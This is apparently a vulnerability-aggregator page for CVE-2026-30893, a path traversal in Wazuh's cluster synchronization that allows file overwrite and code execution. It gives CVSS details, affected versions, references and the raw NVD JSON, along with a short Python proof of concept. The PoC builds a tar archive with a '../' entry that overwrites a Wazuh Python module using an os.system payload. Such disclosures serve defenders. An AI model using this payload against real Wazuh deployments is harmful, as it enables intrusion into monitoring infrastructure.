Security Vulnerability Report
中文
CVE-2026-30893 CVSS 9.0 CRITICAL

CVE-2026-30893

Published: 2026-04-29 19:16:23
Last Modified: 2026-04-30 20:30:06

Description

Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.4.0 to before version 4.14.4, a path traversal vulnerability in Wazuh's cluster synchronization extraction routine allows an authenticated cluster peer to write arbitrary files outside the intended extraction directory on other cluster nodes. This can be escalated to code execution in the Wazuh service context by overwriting Python modules loaded by Wazuh components (proof of concept available as separate attachment). In deployments where the cluster daemon runs with elevated privileges, system-level compromise is possible. This issue has been patched in version 4.14.4.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:* - VULNERABLE
Wazuh >= 4.4.0, < 4.14.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tarfile import io # Malicious payload to be executed payload_code = "import os; os.system('touch /tmp/pwned')" # Create a malicious tar archive using path traversal # This aims to overwrite a Python module loaded by Wazuh archive_buffer = io.BytesIO() with tarfile.open(fileobj=archive_buffer, mode="w") as tar: # Construct file info with path traversal sequence ('../') # Targeting a hypothetical Wazuh module path malicious_file_name = "../../../../var/ossec/api/python/wazuh.py" info = tarfile.TarInfo(name=malicious_file_name) info.size = len(payload_code) # Add the payload to the archive tar.addfile(info, io.BytesIO(payload_code.encode())) # Note: In a real attack scenario, this archive would be sent # to the vulnerable cluster synchronization endpoint. print(f"Generated malicious PoC archive size: {len(archive_buffer.getvalue())}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30893", "sourceIdentifier": "[email protected]", "published": "2026-04-29T19:16:23.200", "lastModified": "2026-04-30T20:30:05.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.4.0 to before version 4.14.4, a path traversal vulnerability in Wazuh's cluster synchronization extraction routine allows an authenticated cluster peer to write arbitrary files outside the intended extraction directory on other cluster nodes. This can be escalated to code execution in the Wazuh service context by overwriting Python modules loaded by Wazuh components (proof of concept available as separate attachment). In deployments where the cluster daemon runs with elevated privileges, system-level compromise is possible. This issue has been patched in version 4.14.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.14.4", "matchCriteriaId": "CF4A0B6F-989A-47DB-BA1C-FC9F4D68A805"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/releases/tag/v4.14.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-m8rw-v4f6-8787", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-m8rw-v4f6-8787", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}